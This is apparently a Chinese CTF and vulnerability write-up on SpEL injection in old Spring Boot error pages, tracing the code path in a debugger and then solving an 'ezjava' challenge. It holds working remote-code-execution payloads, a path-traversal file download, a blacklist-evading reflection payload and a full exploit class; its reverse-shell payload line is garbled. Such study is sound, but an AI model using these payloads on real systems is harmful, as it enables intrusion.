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原创 | SPEL注入流程分析及CTF中如何使用

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配置


https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-spel-rce，

导入maven依赖

为了后期debug调试简便些，可以修改一下控制器

修改后运行，访问localhost:9091/article?id=\${5*5}，出现结果25则为配置成功


影响版本


SpringBoot 1.1.0-1.1.12

SpringBoot 1.2.0-1.2.7

SpringBoot 1.3.0


利用条件是使用了springboot的默认错误页(Whitelabel Error Page)，漏洞点在：
org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration


触发原因


漏洞的触发点在SpringBoot的自定义错误页面，功能是页面返回错误，并提供详细信息，信息中包括错误status（"status"->500）、时间戳（"timestamp"->"Fri Dec....."）、错误信息（"error"->"Internal Server Error"）、和用户输入的参数（"message"->"abcd"），这些参数在模板文件中以类似于以下形式存在：
"Error 1234 \${status}---\${timestamp}---\${error}---\${message}"。


后端原理


在用户传入数据后，后端会判断${和它之后的}位置，若数据中存在\${}，则会将他去掉，即：若${5*5},在经过判断后变为5*5

去掉${}后的值会通过org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration类的resolvePlaceholder传入SpEL引擎，SpEL引擎将直接对payload进行解析，造成了最终的rce


漏洞复现


SpEL使用 #{} 作为定界符，所有在大括号中的字符都将被认为是 SpEL表达式，我们可以在其中使用运算符，变量以及引用bean，属性和方法如：

引用其他对象:#{car}引用其他对象的属性：#{car.brand}调用其它方法 , 还可以链式操作：#{car.toString()}
其中属性名称引用还可以用符号$ 如：${someProperty}

除此以外在SpEL中，使用T()运算符会调用类作用域的方法和常量。例如，在SpEL中使用Java的Math类，我们可以像下面的示例这样使用T()运算符：

#{T(java.lang.Math)}T()运算符的结果会返回一个java.lang.Math类对象。

由字符串格式转换成 0x**，即 java 字节形式，方便代码执行：

payload = 'calc'res = ''for i in payload:    res += hex(ord(i)) + ','
print(res.rstrip(','))
#${T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))}

传参后弹出calc，成功执行


流程分析


先启动debug，再打断点，再传参

断点

传参http://localhost:9091/article?id=\${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x63,0x61,0x6c,0x63}))}后开始调试

分析

首先在193行，会将map的值传入context的rootObject中，

之后以this.template和this.resolver为参数调用replacePlaceholders方法。

这里的this.template为渲染界面的源代码
\<html>\<body>\<h1>Whitelabel Error Page\</h1>\<p>This application has no explicit mapping for /error, so you are seeing this as a fallback.\</p>\<div id='created'>\${timestamp}\</div>\<div>There was an unexpected error (type=\${error}, status=\${status}).\</div>\<div>\${message}\</div>\</body>\</html>

跟进replacePlaceholders，会调用parseStringValue,value为上边的this.template值

第一次递归

跟进parseStringValue

：StringBuilder将strVal转为字符串，并赋值给result(strVal就是之前this.template的值)

：判断this.placeholderPrefix的首次出现位置，这里placeholderPrefix="${",所以判断后在索引为157的位置找到了第一个\${

：findPlaceholderEndIndex判断157后边的第一个}位置

：结果为168

：substring截取157和168的中间值，即：placeholder=timestamp

：递归调用，又调用了parseStringValue，此时第一个参数placeholder=timestamp

递归后，strVal的值变为timestamp，所以在indexOf判断时，由于没出现${，所以变为了-1，跳过了while循环，直接执行下边的return result.toString();了

本次递归结束后，回到145行，继续向下执行进入resolvePlaceholder
跟进resolvePlaceholder,先通过parseExpression解析timestamp，再将context中timestamp的值赋给value,再通过retrun输出

执行完毕后timestamp的值赋给propVal,此时propVal的值不为空，所以直接跳到了下边的if判断，之后就是在162行处，再次递归调用，判断值Sun May 01 12:32:14 CST 2022中是否有${}，跟之前递归一样如果第一个参数中没有${，则直接return第一个参数的值，因此这次就不再跟进了。

之后就是进行replace替换，将原来的${timestamp}处的值替换成了 Sun May 01 12:32:14 CST 2022，最后return result.toString();返回

至此第一次递归结束

第二次递归

第二次递归后startIndex和endIndex的值分别变成了232,239，这是因为在此前将${timestamp}进行了替换，所以这个地方就没有${},于是就需要向下寻找当找到${error}时，发现了\${，并且索引为232；239也同理，再之后的流程跟之前一样不分析了

第三次递归

第三次是\${status}，也同理

第四次递归

第四次就是我们用户传入的message了，再跟进分析下(147行前就不解释了)

直接进入147行的resolvePlaceholder,但这里由于还没有去掉${},所以这里并没有执行calc
继续往下看propVal有值，所以跳到162行处，又进行了递归(去除${})

这次递归在经过substring处理后，就去除了${}
最后进入resolvePlaceholder，成功执行T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x6c,0x63}))


CTF—ezjava


环境配置

tomcat.apache.org，下载tomcat包

https://repo.spring.io/，下载org.springframework.spring下的包

IDEA中，File->Project Structrue->Libraries中将tomcat\lib\servlet-api.jar和spring\libs\导入即可

复现

下载web.xml找到 TestServlet.class 文件，路径是 test388 /download?filename=../../../classes/com/abc/servlet/TestServlet.class下载源文件

可以用在线反编译工具进行反编译JAVA反向工程网 (javare.cn)

package com.abc.servlet;
import java.io.IOException;import java.util.regex.Matcher;import java.util.regex.Pattern;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import org.springframework.expression.Expression;import org.springframework.expression.common.TemplateParserContext;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.expression.spel.support.StandardEvaluationContext;
public class TestServlet extends HttpServlet {
   protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {      this.doPost(req, resp);   }
   protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {      try {         String e = request.getParameter("name");         e = new String(e.getBytes("ISO8859-1"), "UTF-8");         if(this.blackMatch(e)) {            request.setAttribute("message", "name is invalid");            request.getRequestDispatcher("/message.jsp").forward(request, response);            return;         }
         System.out.println(e);         String message = this.getAdvanceValue(e);         request.setAttribute("message", message);         request.getRequestDispatcher("/message.jsp").forward(request, response);      } catch (Exception var5) {         request.setAttribute("message", "error");         request.getRequestDispatcher("/message.jsp").forward(request, response);      }
   }
   private boolean blackMatch(String val) {      String[] var2 = this.getBlacklist();      int var3 = var2.length;
      for(int var4 = 0; var4 < var3; ++var4) {         String keyword = var2[var4];         Matcher matcher = Pattern.compile(keyword, 34).matcher(val);         if(matcher.find()) {            return true;         }      }
      return false;   }
   private String getAdvanceValue(String val) {      TemplateParserContext parserContext = new TemplateParserContext();      SpelExpressionParser parser = new SpelExpressionParser();      Expression exp = parser.parseExpression(val, parserContext);      StandardEvaluationContext evaluationContext = new StandardEvaluationContext();      return exp.getValue(evaluationContext).toString();   }
   private String[] getBlacklist() {      return new String[]{"java.+lang", "Runtime", "exec.*\\("};   }}
很明显SPEL注入，但导入到IDEA后发现没有servlet、和expression包，所以先配置一下

导入后进行审计,doGet，doPost，对GET或POST传参进行处理，这里参数name在Post中，所以要进行Post传参调用doPost方法，但doGet方法同样也会调用doPost，所以本题无论GET、POST传参都可

protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {this.doPost(req, resp);}
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    try {        String name = request.getParameter("name");        name = new String(name.getBytes("ISO8859-1"), "UTF-8");        if (this.blackMatch(name)) {            request.setAttribute("message", "name is invalid");            request.getRequestDispatcher("/message.jsp").forward(request, response);            return;        }
blackMatch方法中会调用getBlacklist方法，进行黑名单检测(java.lang、Runtime、exec)
private boolean blackMatch(String val) {    String[] var2 = this.getBlacklist();    int var3 = var2.length;
    for(int var4 = 0; var4 < var3; ++var4) {        String keyword = var2[var4];        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);        if (matcher.find()) {            return true;        }    }
    return false;}
private String[] getBlacklist() {        return new String[]{"java.+lang", "Runtime", "exec.*\\("};    }

最后就是SPEL注入的利用点了

private String getAdvanceValue(String val) {ParserContext parserContext = new TemplateParserContext();SpelExpressionParser parser = new SpelExpressionParser();Expression exp = parser.parseExpression(val, parserContext);StandardEvaluationContext evaluationContext = new StandardEvaluationContext();return exp.getValue(evaluationContext).toString();}

构造payload本地测试
#{T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("ex"+"ec",T(String[])).invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime").getMethod("getRu"+"ntime").invoke(T(String).getClass().forName("java.l"+"ang.Ru"+"ntime")),new String[]{"cmd","/C","calc"})}

EXP

package WangRenBei;
import org.springframework.expression.Expression;import org.springframework.expression.ParserContext;import org.springframework.expression.common.TemplateParserContext;import org.springframework.expression.spel.standard.SpelExpressionParser;import org.springframework.expression.spel.support.StandardEvaluationContext;
import java.io.UnsupportedEncodingException;import java.util.regex.Matcher;import java.util.regex.Pattern;
public class TestServlet1 {public static void  main(String[] args) throws UnsupportedEncodingException {String name="#{T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(T(String).getClass().forName(\"java.l\"+\"ang.Ru\"+\"ntime\")),new String[]{\"cmd\",\"/C\",\"calc\"})}\n";name = new String(name.getBytes("ISO8859-1"), "UTF-8");if (blackMatch(name)) {System.out.println("failed");}System.out.println(name);String message =getAdvanceValue(name);}public static boolean blackMatch(String val) {String[] var2 = getBlacklist();int var3 = var2.length;
    for(int var4 = 0; var4 \< var3; ++var4) {        String keyword = var2[var4];        Matcher matcher = Pattern.compile(keyword, 34).matcher(val);        if (matcher.find()) {            return true;        }    }
    return false;}
public static String getAdvanceValue(String val) {    ParserContext parserContext = new TemplateParserContext();    SpelExpressionParser parser = new SpelExpressionParser();    Expression exp = parser.parseExpression(val, parserContext);    StandardEvaluationContext evaluationContext = new StandardEvaluationContext();    return exp.getValue(evaluationContext).toString();}
public static String[] getBlacklist() {    return new String[]{"java.+lang", "Runtime", "exec.*\\("};}}
成功执行calc

构造本题反弹shell的payload

#{T(java.lang.Math)}T()运算符的结果会返回一个java.lang.Math类对象。0

url编码后传参

成功反弹shell

问题

分析利用链时一直用的都是${},但是ezjava中用到的是#{}，所以简单的看一下

在TemplateParserContext中，自定义了expressionPrefix的值—#{,所以本题才需要用#{}


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